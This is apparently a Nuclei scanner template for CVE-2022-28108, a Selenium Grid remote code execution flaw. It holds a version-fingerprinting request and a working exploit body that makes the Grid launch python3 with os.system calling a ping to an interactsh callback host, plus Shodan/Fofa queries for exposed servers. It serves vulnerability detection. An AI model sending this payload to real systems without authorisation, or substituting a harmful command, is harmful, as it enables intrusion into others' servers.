Selenium Grid < 4.0.0-alpha-7 - Remote Code Execution

id: CVE-2022-28108

info:
  name: Selenium Grid < 4.0.0-alpha-7 - Remote Code Execution
  author: t0xk
  severity: critical
  description: |
    Selenium Server (Grid) before 4.0.0-alpha-7 permits unauthenticated session creation and unsafe capability injection via /wd/hub/session due to missing Origin validation and weak content-type enforcement.
  impact: |
    An unauthenticated attacker can achieve remote code execution as the Selenium Grid process owner by crafting a malicious payload and sending it to the /wd/hub/session endpoint.
  remediation: |
    Upgrade to Selenium Server 4.0.0-alpha-7 or later and restrict network exposure.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28108
    - https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/
    - https://github.com/SeleniumHQ/selenium/blob/trunk/java/CHANGELOG
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-28108
    epss-score: 0.2254
    epss-percentile: 0.97725
    cwe-id: CWE-352
    cpe: cpe:2.3:a:selenium:selenium_grid:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.title:"Selenium Grid"
    fofa-query: title="Selenium Grid"
    product: selenium_grid
    vendor: selenium
  tags: cve,cve2022,selenium,grid,rce,dns-rebinding

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wd/hub/status"

    matchers:
      - type: regex
        regex:
          - '"version"\s*:\s*"(3\..*|4\.0\.0-alpha-[1-6])"'
          - '"value":'
        condition: and
        internal: true

  - method: POST
    path:
      - "{{BaseURL}}/wd/hub/session"

    headers:
      Content-Type: application/json

    body: |
      {
        "capabilities": {
          "alwaysMatch": {
            "browserName": "chrome",
            "goog:chromeOptions": {
              "binary": "/usr/bin/python3",
              "args": [
                "-c",
                "import os; os.system('ping -c1 {{interactsh-url}}')"
              ]
            }
          }
        }
      }

    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "The process started from chrome location"